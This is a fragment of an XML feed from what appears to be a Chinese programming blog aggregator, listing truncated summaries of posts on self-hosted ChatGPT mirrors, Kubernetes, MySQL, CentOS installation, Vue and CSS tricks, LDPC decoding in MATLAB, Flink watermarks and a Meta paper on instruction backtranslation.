      <description>【一】参考博客来源 【1】时光大佬 时光大佬的自建GPT https://www.cnblogs.com/an-shiguang/p/17499195.html 【2】大佬的GPT (1)pandora https://chatgpt.shiguang666.eu.org/ 基于开源项目搭建本地GPT环境 使用GPT需要已有GPT账号或者是有 token 登录界面 点击 Continue with Access Token 可采用Access Token进行登录，输入自己的Access Token 即可 Access Token 有效期为半个月，采用该方式登录每半个月需要重新获取一次 Access Token 获取方式 在ChatGPT官网登录后，访问https://chat.openai.com/api/auth/session即可获取Access Token (2)ChatGPT-Next-Web 直通车：https://gpt.shiguang666.eu.org/&#xA;基于开源项目 ChatGPT-Next-Web 搭建，可通过API Key 或我提供的访问密码访问 通过访问密码访问实际消耗的是时光大佬的API key的余额，纯纯地为爱发电了，感谢大佬无私奉献！访问密码：shiguang、shiguang666、shiguang888均可 详细的可以参考时光大佬的文章 (3)chatbot-ui 直通车：https://chatbot.shiguang666.eu.org/&#xA;基于开源项目 chatbot-ui 搭建，可通过API Key 进行访问 一个暗黑主题Chatbot UI，支持导入、导出对话、设置自定义提示词功能 详细的可以参考时光大佬的文章 (4)BingAI-Client 直通车:https://newbing.shiguang666.eu.org/&#xA;基于开源项目 BingAI-Client 搭建，可直接访问 详细的可以参考时光大佬的文章 (5)小贴士 通过OpenAI账号登录或AccessToken登录是真正的不限次数访问通过API Key访问需要消耗账户内余额，每个免费账号有5美元API调用余额而且是会过期的 【二】Pandora介绍 【1】Pandora简介 Pandora不愧是这三个月以来最为突出的项目之一，它完美解决了ChatGPT使用中经常遇到的种种问题，而且部署是相当简单，方便。 项目地址：https://github.com/pengzhile/pandora 【2】Pandora能做什么 一、本地部署ChatGPT，Pandora绕过 Cloudflare，可以把ChatGPT部署在自己的电脑上，使用127.0.0.1即可使用官方的GPT(仅需登陆一次，即可正常使用14天左右)；二、服务器部署ChatGPT，我们可以使用同样的方法，将Pandora程序安装在vps上，甚至可以使用自己的域名，无需设置网络即可使用，也不必担心IP问题；三、我们可以使用Pandora，用多种方式使用GPT，例如命令行模式，web模式，其中web页面使用方法与官网一致，还能保存记录，非常完美。 【三】部署Pandora在本地电脑上 无论是windows、macOS或者linux系统，都可以用三个步骤把Pandora部署到本地： 【1】安装docker 参考我的博客，本地搭建docker环境 【Windows安装Docker】 安装docker并启动，到https://www.</description>
    </item>
    <item>
      <title>DC综合常用命令</title>
      <link>https://bchobby.github.io/posts/6314fc7ce7e9f571018878a8f1a92532/</link>
      <pubDate>Fri, 01 Sep 2023 13:42:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6314fc7ce7e9f571018878a8f1a92532/</guid>
      <description>查看报告&#xA;使用了lvt 和svt的db库后，查看比例的方法 set_attribute -type string [get_lib *rvt*] default_threshold_voltage_group RVT set_attribute -type string [get_lib *lvt*] default_threshold_voltage_group LVT report_threshold_voltage_group 2.DC运行脚本时，提示Warning: Can&#39;t find object &#39;_sel2603&#39; in design &#39;XXXXX&#39;，但单独拷贝这条命令运行又是正常的。这可能是因为tcl脚本里该命令行末尾的换行符有问题。&#xA;windows下换行符被定义为回车符（ASCII码13，\r）和换行符（ASCII码10，\n）的组合，被称为CRLF。而在Linux中，换行符只是简单的换行符（ASCII码10，\n），被称为LF。&#xA;我从fm中拷贝了set_verification_priority的命令，dc综合脚本里跑到这里怎么都无法识别，我一直认为是get cells找不到，最后重新手敲了这行命令才可以运行。猜测是换行符的问题，可以用gvim来查看。&#xA;命令:set list能进入list mode,可以显示换行符和制表符等其他特殊符号 :set nolist退出list mode。</description>
    </item>
    <item>
      <title>mysql操作实战案例</title>
      <link>https://bchobby.github.io/posts/6967b78e596ebedb4068045a24b669f7/</link>
      <pubDate>Fri, 01 Sep 2023 11:23:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6967b78e596ebedb4068045a24b669f7/</guid>
      <description>1.搭建mysql服务&#xA;安装MySQL&#xA;2.创建一个以你名字为名的数据库，并创建一张表student，该表包含三个字段（id，name，age），表结构如下：&#xA;mysql&amp;gt; desc student; +-------+--------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +-------+--------------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | name | varchar(100) | NO | | NULL | | | age | tinyint(4) | YES | | NULL | | +-------+--------------+------+-----+---------+----------------+ 3 rows in set (0.01 sec) mysql&amp;gt; create database zhouwei; //创建数据库 Query OK, 1 row affected (0.</description>
    </item>
    <item>
      <title>Linux获取纳秒级别时间</title>
      <link>https://bchobby.github.io/posts/3f7684c30f5a631f89b015b28645898b/</link>
      <pubDate>Fri, 01 Sep 2023 11:19:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f7684c30f5a631f89b015b28645898b/</guid>
      <description> 在 Linux 系统中可以使用 gettimeofday 函数来获取时间，这个函数能够以毫秒的精度来获取时间 struct timeval tv; gettimeofday(&amp;amp;tv, NULL); time_t cur_time = tv.tv_sec; long cur_time_ms = tv.tv_usec/1000; printf(“cur_time = %d \n”, cur_time); printf(“cur_time_ms = %ld \n”, cur_time_ms); Linux 系统可以使用 clock_gettime 函数来获取时间精度，其可以以纳秒的精度获取时间 struct timespec ts; clock_gettime(CLOCK_REALTIME, &amp;amp;ts); Time_t cur_time = ts.tv_sec; long cur_time_us = ts.tv_nsec/1000; printf(“cur_time = %d \n”, cur_time); printf(“cur_time_us = %ld \n”, cur_time_us); </description>
    </item>
    <item>
      <title>Kubernetes_概念篇</title>
      <link>https://bchobby.github.io/posts/8ee9a8b1d61b187ac26082437f6390d2/</link>
      <pubDate>Fri, 01 Sep 2023 11:18:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ee9a8b1d61b187ac26082437f6390d2/</guid>
      <description>Kubernetes_概念篇 一、架构二、概念1，Label（对象标签）2，Namespace3，Deployment4，Service 三、资源对象Master组件1，kube-apiserver2，kube-controller-manager3，kube-scheduler4，Node组件 5，Deployment6，Service7，Pod 四、核心组件五、集群一个节点内容 一、架构 核心层 Kubernetes 最核心的功能，对外提供 API 构建高层的应用，对内提供插件式应用执行环境 应用层 部署（无状态应用、有状态应用、批处理任务、集群应用等）和路由（服务发现、DNS 解析等） 管理层 系统度量（如基础设施、容器和网络的度量），自动化（如自动扩展、动态 Provision 等）以及策略管理（RBAC、Quota、PSP、NetworkPolicy 等） 接口层 kubectl 命令行工具、客户端 SDK 以及集群联邦 生态系统 外部 日志、监控、配置管理、CI、CD、Workflow等 内部 CRI、CNI、CVI、镜像仓库、Cloud Provider、集群自身的配置和管理等 二、概念 1，Label（对象标签） key/value 附加在对向上等式 app=nginx 和 env！=product 集合 如 env in (production,qa) 多个label（AND关系) app=nginx，env=test 2，Namespace 一组资源和对象集合，用来将内部对象划分为不同的项目组/用户组pods，services，deployments 等都属于某一个namespace（默认default）Node、PersistenVolumes 等则不属于任何namespace 3，Deployment 确保任意时间都有指定数量的，Pod（副本）在运行某个Pod 不响应，Deployment会替换他创建Deployment Pod模板：用来创建Pod副本的模板Label 标签：deployment 需要监控的Pod的标签 4，Service 应用服务的抽象，通过labels 为应用提供负载均衡和服务发现匹配 labels 的 Pod Ip 和端口列表 组成endpointskube-proxy 负责将服务IP负载均衡到这些 endpoints上每个Service 都会自动分配一个 cluster IP（仅在集群内部可访问的虚拟地址）和DNS名其他容器可以通过该地址、DNS来访问服务，不需要了解后端容器的运行 三、资源对象 Master Master节点是Kubernetes 集群的控制节点，负责整个集群的管理和控制</description>
    </item>
    <item>
      <title>Linux系统Centos7发行版下载安装</title>
      <link>https://bchobby.github.io/posts/fed2a308edab67be0be2e565dd5e35df/</link>
      <pubDate>Thu, 31 Aug 2023 22:50:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fed2a308edab67be0be2e565dd5e35df/</guid>
      <description>文章目录 Centos7下载步骤Centos7安装教程 Centos7下载步骤 访问Centos官网 1 下载链接，我是Windows操作系统，选择的是x86_64（点击x86_64）&#xA;这里随便选择一个下载源，我选的是：http://mirrors.nju.edu.cn/centos/7.9.2009/isos/x86_64/&#xA;进入下载源，选择自己需要的版本，我下载的是Minimal精简版（包含核心组件）&#xA;DVD、Everything、Minimal、NetInstall版本的区别？&#xA;DVD：这个是常用版本，就是普通安装版，里面包含大量的常用软件，大部分情况下安装时无需再在线下载，体积为4G（有系统桌面）Everything：和DVD差不多，但包含了所有软件组件，体积庞大，高达7GMinimal：精简版本，包含核心组件，体积才1G不到（没有系统桌面）NetInstall：网络安装版本，一般不用这个版本 根据自己的需要，选择版本下载即可，一般服务器都是使用 Minimal 版本，体积小&#xA;Centos7安装教程 安装需要有虚拟机，若没有虚拟机，需要下载安装并创建虚拟机 2。&#xA;需要新建虚拟机，然后编辑虚拟机设置&#xA;选择新 CD/DVD，选择使用 ISO 映像文件（Linux系统 ISO 文件），根据自己下载存放的目录路径选择，选择后关闭&#xA;启动虚拟机，选择 Install CentOS7，需要等待一会&#xA;下拉选择语言中文，简体中文&#xA;软件选择，默认是最小安装，由于我安装的 CentOS 是精简版，所以只有最小安装，如果你是 DVD 版，可以选择桌面&#xA;选择安装位置，选择我要配置分区&#xA;我们新建三个分区，分别是boot、swap、root，容量分配分别是1G、2G、17G，其中设备类型都选标准分区，文件系统，除了swap选swap，其他的都选ext4&#xA;选择网络和主机名，以太网开启&#xA;都配置好后，开始安装&#xA;设置ROOT密码，最后重启&#xA;进来后需要登录，用户名ROOT，密码是刚刚设置的ROOT密码&#xA;Centos官网：https://www.centos.org/download/ ↩︎&#xA;VMware Workstation Pro 17下载安装和虚拟机创建教程：https://blog.csdn.net/qq_45674493/article/details/128406891 ↩︎</description>
    </item>
    <item>
      <title>花生壳内网穿透发现突然连接不上了（请检查内网主机IP和端口）</title>
      <link>https://bchobby.github.io/posts/b3136282849c3df491d480533b1e390f/</link>
      <pubDate>Thu, 31 Aug 2023 21:59:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3136282849c3df491d480533b1e390f/</guid>
      <description>太坑了，终于找到原因了：&#xA;链接：花生壳内网穿透发现突然连接不上了（请检查内网主机IP和端口）_季南枫(JIM)的博客-CSDN博客&#xA;感谢，特此记录&#xA;当我打开映射时，出现连接失败的信息：&#xA;除了官方说的内网端口号错误或ip错误之外，还有一个原因会造成这样的错误，就是你的SN设备未登陆账号，如下：&#xA;解决方法：&#xA;点击未登陆按钮实现登录即可</description>
    </item>
    <item>
      <title>Vue3 ElementPlus el-cascader级联选择器动态加载数据</title>
      <link>https://bchobby.github.io/posts/f890a1266d5738338d5f2f03216f02ba/</link>
      <pubDate>Thu, 31 Aug 2023 17:24:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f890a1266d5738338d5f2f03216f02ba/</guid>
      <description>参考了这位的大佬的写法&#xA;element el-cascader动态加载数据 （多级联动，落地实现）_el-cascader 动态加载_林邵晨的博客-CSDN博客&#xA;&amp;lt;el-cascader style=&#34;width: 300px&#34; :props=&#34;address&#34; v-model=&#34;addressValue&#34; clearable /&amp;gt; import { ref } from &#39;vue&#39;; // 省市区接口 改成自己定义的api方法名 import { commonAdministrative } from &#39;@/api/modules/common&#39;; // 默认值 回显数据格式 [&#39;区级code1&#39;, &#39;区级code2&#39;, &#39;区级code3&#39;] let addressValue = ref([&#39;000001&#39;, &#39;000002&#39;, &#39;000003&#39;]) // 省市区 let address = { lazy: true, // 开启懒加载 // checkStrictly: true, //可选择任意节点 async lazyLoad(node, resolve) { // node为当前点击的节点，resolve为数据加载完成的回调(必须调用) const nodes = []; // 构造查询条件 =&amp;gt; 接口入参 let params = { parentAreaCode: node.</description>
    </item>
    <item>
      <title>CSS实现隐藏滚动条但可以滚动</title>
      <link>https://bchobby.github.io/posts/8a12c8b593dcb16171310a1395e489d7/</link>
      <pubDate>Thu, 31 Aug 2023 17:02:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a12c8b593dcb16171310a1395e489d7/</guid>
      <description>场景 隐藏滚动条，但可以滚动&#xA;解决 全局样式&#xA;/* 隐藏滚动条 */ .outer-container::-webkit-scrollbar { width: 0; /* 设置滚动条的宽度为0 */ background-color: transparent; /* 设置滚动条背景为透明 */ } /* 自定义滚动条轨道样式 */ .outer-container::-webkit-scrollbar-track { background-color: transparent; /* 设置滚动条轨道背景为透明 */ } /* 自定义滚动条滑块样式 */ .outer-container::-webkit-scrollbar-thumb { background-color: transparent; /* 设置滚动条滑块背景为透明 */ } 结语 感谢读者阅读并关注博客文章，并对文章中提到的观点、建议或批评表示感谢</description>
    </item>
    <item>
      <title>在使用Vant组件库时，实现下拉刷新，只有在列表顶部才会刷新</title>
      <link>https://bchobby.github.io/posts/e5116388af07c93229b85a0128966581/</link>
      <pubDate>Thu, 31 Aug 2023 17:01:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5116388af07c93229b85a0128966581/</guid>
      <description>场景 官方代码，是只要下拉就会刷新，但这并不是我们想要的，我们想要实现下拉刷新，只有在列表顶部才会刷新&#xA;解决 全局样式&#xA;.van-pull-refresh { height: calc(100vh - 100px) !important; overflow: auto !important; } 结语 感谢读者阅读并关注博客文章，并对文章中提到的观点、建议或批评表示感谢</description>
    </item>
    <item>
      <title>Vue项目自动设置版本号，版本号变更清空缓存</title>
      <link>https://bchobby.github.io/posts/c9818943da131797535e480c4c789843/</link>
      <pubDate>Thu, 31 Aug 2023 16:39:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9818943da131797535e480c4c789843/</guid>
      <description>Vue项目自动设置版本号，版本号变更清空缓存 前言 项目每次打包后都需要手动改动项目版本号，这个改动每次都需要在package.json中修改version，比较麻烦，。&#xA;项目更新后文件存在缓存，需要强制刷新才能呈现更新&#xA;解决 安装npm依赖&#xA;npm install --save-dev @intervolga/optimize-cssnano-plugin@1.0.6 webpack-bundle-analyzer@4.4.0 compression-webpack-plugin@4.0.0 moment@2.29.1 在你的 package.json 文件中添加以下 scripts&#xA;&#34;scripts&#34;: { &#34;version&#34;: &#34;node ./build/version.js&#34;, &#34;build&#34;: &#34;npm run version &amp;amp;&amp;amp; vue-cli-service build&#34; } 在你的项目根目录下创建 build 文件夹，并在该文件夹下创建 version.js 文件&#xA;在 version.js 文件中添加以下代码&#xA;const fs = require(&#39;fs&#39;); const path = require(&#39;path&#39;); const moment = require(&#39;moment&#39;); const packageJsonPath = path.resolve(__dirname, &#39;../package.json&#39;); const indexPath = path.resolve(__dirname, &#39;../public/index.html&#39;); // 读取 package.json 文件 const packageJson = fs.readFileSync(packageJsonPath, &#39;utf8&#39;); const packageData = JSON.</description>
    </item>
    <item>
      <title>规则LDPC和不规则LDPC译码算法MATLAB仿真</title>
      <link>https://bchobby.github.io/posts/17c86feaf81346bdd5fa29569297ea76/</link>
      <pubDate>Thu, 31 Aug 2023 15:44:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17c86feaf81346bdd5fa29569297ea76/</guid>
      <description>up目录&#xA;一、理论基础&#xA;二、核心程序&#xA;三、测试结果&#xA;一、理论基础 LDPC（Low-Density Parity-Check）编码是一种纠错码技术，分为规则LDPC编码和不规则LDPC编码两种类型，它们在纠错性能和结构上有所不同。下面详细介绍这两种类型的LDPC编码：&#xA;规则LDPC编码： 规则LDPC编码的特点是每个校验节点和信息节点连接的数量都是固定的，因此在整个编码矩阵中，节点的度数是相同的。这种编码的结构相对简单，通常采用常见的几何结构，如正则图、正则矩阵等。规则LDPC编码的校验矩阵通常具有良好的解码性能和较低的复杂度。&#xA;不规则LDPC编码： 不规则LDPC编码的特点是校验节点和信息节点之间的连接数量是可变的，导致整个编码矩阵中节点的度数不同。不规则LDPC编码的设计更加灵活，可以根据需要优化纠错性能和译码复杂度。不规则LDPC编码在某些情况下可以获得更好的性能，特别是在高信噪比下。&#xA;编码和译码过程： LDPC编码过程是基于稀疏校验矩阵的线性运算，将输入数据与校验位进行异或运算，生成编码数据。LDPC译码过程是基于图论和迭代译码算法，如Belief Propagation（BP）算法或Sum-Product Algorithm（SPA）等，通过在校验节点和信息节点之间传递信息，进行迭代反馈，逐步纠正和恢复接收到的数据。&#xA;性能比较：&#xA;规则LDPC编码具有结构简单、解码性能稳定、硬件实现方便等特点。它在相对低的迭代次数下就能获得良好的纠错性能。不规则LDPC编码具有更好的纠错性能潜力，特别是在高信噪比下。它可以通过适当的设计来优化解码性能，但也可能在一些情况下需要更多的迭代次数来达到最佳性能。 总之，规则LDPC编码和不规则LDPC编码在结构和性能上有一些不同，可以根据应用需求和性能要求来选择合适的编码类型。不规则LDPC编码通常能够获得更好的性能，但相应地可能需要更高的计算复杂度。&#xA;LDPC码是根据低密度稀疏校验矩阵H来构造的。假设需要发送一组信息T{t_1,t_2,⋯,t_n}，在发送前先使用生成矩阵G做线性变换，得到发送码字S=GTT，而校验矩阵H与生成矩阵G满足的关系为HGT=0，可以看到发送的码字是一组线性校验方程的解。&#xA;LDPC码与分组码的最大区别：在于译码方式的不同。LDPC码采用迭代译码，校验矩阵H使用Tanner图表示。&#xA;LDPC码的核心：围绕校验矩阵Hm×n的特性进行设计。&#xA;LDPC码本身的结构引入了交织(interleaving)。&#xA;不同LDPC码的构造方法都是为了实现如下的目标：① 增大Girth值；② 减小编码复杂度。&#xA;根据H构造不同，分成了LDPC规则码和LDPC不规则码。直观地说，稀疏矩阵每行每列1的个数固定的LDPC码称为LDPC规则码。稀疏矩阵每行每列1的个数或者行和列的重量不固定的LDPC码称为LDPC不规则码。根据LDPC的码元是否为二进制，分成了二元LDPC码和高阶域LDPC码。高阶域LDPC码定义在GF(q)上，其中q= 2m。&#xA;LDPC译码采用BP译码算法，该方法通过校验节点向变量节点传递信息以及变量节点向校验节点传递信息的方式，并经过迭代，得到近似ML的译码结果。&#xA;这里说说自己的理解，LDPC编码的时候发送的原始比特会存在于多个校验方程中，一个校验方程中也会包含多个比特，这样就可以互相校验。对于某个校验方程，其他比特为1的个数为偶数，为使得校验结果为0，则本比特位置为0，反之则为1。而我们需要计算的是其他比特为偶数个1和奇数个1的概率。对于某个比特，由于其存在于多个校验方程中，因此，其他校验方程是可以给出本比特取值的概率的。在迭代过程中就是反复利用以上关系更新各节点的概率，最后得到译码结果的。&#xA;根据H[c w]T=0以及上述矩阵结构，可以将w写成[p1 p2]两部分组成。其中p1的长度为4，p2的长度为42。那么式子H[s w]T=0可改写成，此处为便于区分用s指代以上的c。&#xA;可求得p1和p2的结果如下：&#xA;那么问题的关键是如何计算B-1。协议中Graph=1的情况下，B矩阵的形式如下： 以上1表示对单位阵循环右移，0表示单位阵，X表示全0阵，那么根据逆矩阵的定义即可求得B-1，如下式：&#xA;求取上述矩阵中的x1~x16即可得到逆矩阵。由于计算是定义在GF(2)上的，因此两个相同的矩阵相加为0，这样就能简便地计算出结果。另外，需要注意的是，在译码的时候，需要人为地在译码结果前面加上2Zc长度的0来补齐长度。 二、核心程序 function x_hat = func_Dec(y,sigma,H,max_iter) f1 = 1./(1+exp(-2*y/(sigma^2))); f0 = 1-f1; [m,n] = size(H); if m&amp;gt;n H = H&#39;; [m,n] = size(H); end %如果不是稀疏矩阵，将H变为稀疏矩阵 if ~issparse(H) [ii,jj,sH] = find(H); H = sparse(ii,jj,sH,m,n); end %初始化 [ii,jj] = find(H); %将非零元素标上 indx = sub2ind(size(H),ii,jj); q0 = H * spdiags(f0(:),0,n,n); sq0 = full(q0(indx)); sff0 = sq0; q1 = H * spdiags(f1(:),0,n,n); sq1 = full(q1(indx)); sff1 = sq1; k=0; success = 0; while ((success == 0) &amp;amp; (k &amp;lt; max_iter)), k = k+1; %若先验概率一样的话，令sdq为一个很小很小的数 sdq = sq0 - sq1; sdq(find(sdq==0)) = 1e-20; %用概率差sdq构成m*n的稀疏矩阵 dq = sparse(ii,jj,sdq,m,n); %将dq在对数域求和，即将dq相乘，构成数组 Pdq_v = full(real(exp(sum(spfun(&#39;log&#39;,dq),2)))); %更新了rij Pdq = spdiags(Pdq_v(:),0,m,m) * H; sPdq = full(Pdq(indx)); sr0 = (1+sPdq.</description>
    </item>
    <item>
      <title>Flink之Watermark</title>
      <link>https://bchobby.github.io/posts/8c0ab7a553d74b8ddad6fc475db62244/</link>
      <pubDate>Thu, 31 Aug 2023 15:18:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c0ab7a553d74b8ddad6fc475db62244/</guid>
      <description> 1.乱序问题 流处理从事件产生，到流经source，再到operator，中间是有一个过程和时间的，虽然大部分情况下，流到operator的数据都是按照事件产生的时间顺序来的，但是也不排除由于网络、分布式等原因，导致乱序的产生，所谓乱序，就是指Flink接收到的事件的先后顺序不是严格按照事件的Event Time顺序排列的。&#xA;一旦出现乱序，如果只根据eventTime决定window的运行，我们不能明确数据是否全部到位，但又不能无限期的等下去，此时必须要有个机制来保证一个特定的时间后，必须触发window去进行计算了，这个特别的机制，就是Watermark。&#xA;例如：某App会记录用户的所有点击行为，并回传日志（在网络不好的情况下，先保存在本地，延后回传）。A用户在11:02对App进行操作，B用户在11:03对App进行操作，但是A用户的网络不太稳定，回传日志延迟了，导致我们在服务端先接受到B用户11:03的消息，然后再接受到A用户11:02的消息，消息乱序了。&#xA;2.什么是Watermark Watermark是Apache Flink提出的一种用来解决乱序、延迟数据等情况的解决方案。&#xA;它是建立在事件时间上的一个概念，用来刻画数据流的完整性。如果按照处理时间来衡量事件，一切都是有序的、完美的，自然而然也就不需要Watermark了。换句话说事件时间带来了乱序的问题，而Watermark就是用来解决乱序问题。所谓的乱序，其实就是有事件延迟了，对于延迟的元素，我们不可能无限期的等下去，必须要有一种机制来保证一个特定的时间后，必须触发Window进行计算。这个特别的机制,就是Watermark,它告诉了算子延迟到达的消息不应该再被接收。&#xA;watermrk具体特点如下：&#xA;Watermark是一种衡量Event Time进展的机制。Watermark是用于处理乱序事件的，通常用Watermark机制结合window来实现。数据流中的Watermark用于表示timestamp小于Watermark的数据，都已经到达了，因此，window的执行也是由Watermark触发的。Watermark可以理解成一个延迟触发机制，我们可以设置Watermark的延时时长t，每次系统会校验已经到达的数据中最大的maxEventTime，然后认定eventTime小于maxEventTime - t的所有数据都已经到达，如果有窗口的停止时间等于maxEventTime – t，那么这个窗口被触发执行。watermark 用来让程序自己平衡延迟和结果正确性。 3.Watermark原理 Watermark会携带一个单调递增的时间戳t，Watermark(t)表示所有时间戳不大于t的数据都已经到来了，未来小于等于t的数据不会再来，因此可以放心地触发和销毁窗口了。&#xA;当Flink,接收到数据时，会按照一定的规则去生成Watermark，这条Watermark就等于当前所有到达数据中的maExertT me&#34;-延N时长，也就定说，Watermark是基于数据携带的时间戳生成的，一旦Watermark比当前未触发的窗口的停止时间要晚，那么就会触发相应窗口的执行。由于eventtime是由数据携带的，因此，如果运行过程中无法获取新的数据，那么没有被触发的窗口将永远都不被触发。&#xA;4.延迟数据处理机制 Watermark能够应对乱序的数据，但是真实世界中没法得到一个完美的 Watermark数值。要么没法获取到，要么耗费太大，因此实际工作中会近似 Watermark(t)之后，还有较小的概率接收到时间戳t之前的数据，在Flink中将这些数据定义为“late elements”，可以在Window中指定允许延迟的最大时间（默认为О)。&#xA;延迟事件是乱序事件的特例，和一般乱序事件不同的是它们的乱序程度超出了水位线( Watermark)的预计，导致窗口在它们到达之前已经关闭。&#xA;延迟事件出现时窗口已经关闭并产出了计算结果，对于此种情况处理的方法有3种:&#xA;重新激活已经关闭的窗口并重新计算以修正结果。将延迟事件收集起来另外处理。将延迟事件视为错误消息并丢弃。 Flink默认的处理方式是第3种直接丢弃，其他两种方式分别使用Side Output和AllowedLateness。&#xA;Side Output机制：将延迟事件单独放入一个数据流分支，这会作为Window计算结果的副产品，以便用户获取并对其进行特殊处理。迟来的数据同样可以触发窗口，进行输出。Allowed Lateness机制：允许用户设置一个允许的最大延迟时长。Flink会在窗口关闭后一直保存窗口的状态直至超过允许延迟时长，这期间的延迟事件不会被丢弃，而是默认会触发窗口重新计算。因为保存窗口状态需要额外内存，并且如果窗口计算使用了ProcessWindowFunction APl还可能使得每个延迟事件触发一次窗口的全量计算，代价比较大，所以允许延迟时长不宜设得太长，延迟事件也不宜过多。 </description>
    </item>
    <item>
      <title>RabbitMQ Messages In ASP.NET Core</title>
      <link>https://bchobby.github.io/posts/4979a1c70dfeb7107cc9eccfe66b0187/</link>
      <pubDate>Thu, 31 Aug 2023 14:54:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4979a1c70dfeb7107cc9eccfe66b0187/</guid>
      <description>使用 RabbitMQ 实现一个简单的发布方法&#xA;RabbitMQ Message Queue Using .NET Core 6 Web API&#xA;Consuming RabbitMQ Messages In ASP.NET Core&#xA;How to use RabbitMQ in ASP.NET Core</description>
    </item>
    <item>
      <title>KS8基础命令</title>
      <link>https://bchobby.github.io/posts/642008b0a57efd255bcef7373c56a2db/</link>
      <pubDate>Thu, 31 Aug 2023 12:05:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/642008b0a57efd255bcef7373c56a2db/</guid>
      <description>KS8基础命令 一、设置服务开机自启动&#xA;设置kubelet开机自启动：systemctl enable kubelet&#xA;设置docker开机自启动：systemctl enable docker&#xA;二、查看pod状态&#xA;命令查看 Pod 的状态： kubectl get pod --all-namespaces&#xA;三、集群初始化&#xA;Kubernetes初始化：kubeadm init --kubernetes-version=v1.11.1 --pod-network-cidr=10.244.0.0/16 --service-cidr=10.96.0.0/12 --ignore-preflight-errors=Swap&#xA;四、查看集群状态&#xA;集群状态检测：kubectl get nodes&#xA;kubectl get cs&#xA;五、查看pod描述&#xA;查看 Pod 具体情况：kubectl describe pod calico-node-4gm72 --namespace=kube-system&#xA;六、创建删除查看实例&#xA;创建实例：kubectl create -f kubernetes-dashboard.yaml&#xA;kubectl create -f Nginx.yaml&#xA;查看实例日志：kubectl logs -f kubernetes-dashboard-4291928047-5x372 --namespace=kube-system&#xA;查看pod实例分配的Ip地址：kubectl get pods -o wide&#xA;删除实例：kubectl delete -f kubernetes-dashboard.yaml&#xA;七、查看pod状态&#xA;查看pod状态：kubectl get pod -n kibe-system&#xA;查看pod描述信息：kubectl describe pod kubernetes-dashboard -n kibe-system</description>
    </item>
    <item>
      <title>Meta AI | 指令回译：如何从大量无标签文档挖掘高质量大模型训练数据？</title>
      <link>https://bchobby.github.io/posts/da01e121319dd0c509c1e713cd04405a/</link>
      <pubDate>Wed, 30 Aug 2023 23:19:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da01e121319dd0c509c1e713cd04405a/</guid>
      <description>大家好，我是HxShine。&#xA;还在担心没有大模型没有指令遵循数据吗？快来看看meta的Humpback吧!&#xA;今天分享的文章来自Meta AI，self-Alignment with Instruction Backtranslation[1]：通过指令反向翻译进行自对准。&#xA;这篇文章是一种从互联网大量无标签数据中挖掘高质量的指令遵循数据集的方案，它利用少量种子数据，从大量互联网上无标签的数据，挖掘出大量高质量的、多样性也不错的训练数据，成功将llama（美洲驼）进化成Humpback（座头鲸）。&#xA;一、概述 Title：Self-Alignment with Instruction Backtranslation&#xA;论文地址：https://arxiv.org/pdf/2308.06259.pdf&#xA;1 Motivation 现状：高质量指令数据太少，互联网上human-written text倒是比较多，但是大量的无标签数据缺乏对应的指令。&#xA;目标：研究如何利用互联网上大量的无标签的数据，生成高质量的指令集，进而提升模型的表现。&#xA;大白话：无标签文本 -&amp;gt; 对应的指令是什么?&#xA;2 Methods 主要依赖于两个假设：&#xA;1. 在互联网上大量的无标签数据中，有些是可以作为user instructions的标准回复gold answer的。&#xA;2.根据gold answers生成的指令，可以作为一个高质量的样本去训练指令遵循模型。&#xA;指令回译具体内容：&#xA;self-augmentation：利用种子数据训练模型并从无标签数据生成指令。1. 指令预测模型（Myx）训练：先利用少量的instruction，output数据对，训练LLama模型让其学习根据output生成对应instruction的能力。2. 利用指令预测模型Myx + 大量无标签数据 =&amp;gt; 生成候选指令A。&#xA;self-curation: 从候选指令A中选择部分高质量的（instruction，output）数据对，然后迭代训练指令预测模型v2版本，通过这种方式迭代2轮，提升生成的指令集的质量。&#xA;步骤1 Initialization（初始化设置）：收集少量种子数据和大量无标注的文本 Seed Data训练：收集少量的种子instruction，output数据，从两个方向来训练模型，第一种是根据指令生成回复。第二种种是根据回复生成指令。&#xA;Unlabelled data数据处理：对于每个文档，提取HTML标题后面的文本部分。并进行重复数据删除、长度过滤，并使用几种启发式方法删除潜在的低质量段，例如标题中大写字母的比例。&#xA;步骤2 Self-Augmentation (generating instructions指令生成)：训练指令预测模型并根据无标签数据生成指令 指令预测模型训练，利用（output，instruction）训练指令预测模型，用于根据无标签的数据生成指令。注意：并不是所有的候选指令对都是高质量的，如果将它们全部用于训练不一定会有益。&#xA;步骤3 Self-Curation (selecting high-quality examples指令挑选)：利用大模型本身筛选高质量的数据构建新的数据集 筛选打分步骤：&#xA;仅根据seed（指令、输出）种子示数据训练模型M0。&#xA;使用M0为每个增强示例{(xˆi, yi)}评分，以得出质量评分ai。使用提示对生成的候选指令进行评级打分（5个纬度）。&#xA;选择分数为ai ≥ k的增强示例的子集来形成高质量数据集。&#xA;筛选评分的prompt：&#xA;Iterative self-curation：迭代方法产生更高质量的预测结果。&#xA;在第t次迭代上，我们使用上一轮t-1迭代模型挑选的数据A(t-1)与种子数据一起作为训练数据，进行微调训练当前轮模型Mt。&#xA;这个模型反过来可以用于对质量的增强示例进行重新评分，从而产生一个增强集A(t)。这里执行两次数据选择和微调，以获得最终的模型M2。</description>
    </item>
    <item>
      <title>【JS案例】JS实现图片放大镜功能</title>
      <link>https://bchobby.github.io/posts/33077e95a5b72e40712e26f87e7bad4b/</link>
      <pubDate>Wed, 30 Aug 2023 23:12:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33077e95a5b72e40712e26f87e7bad4b/</guid>
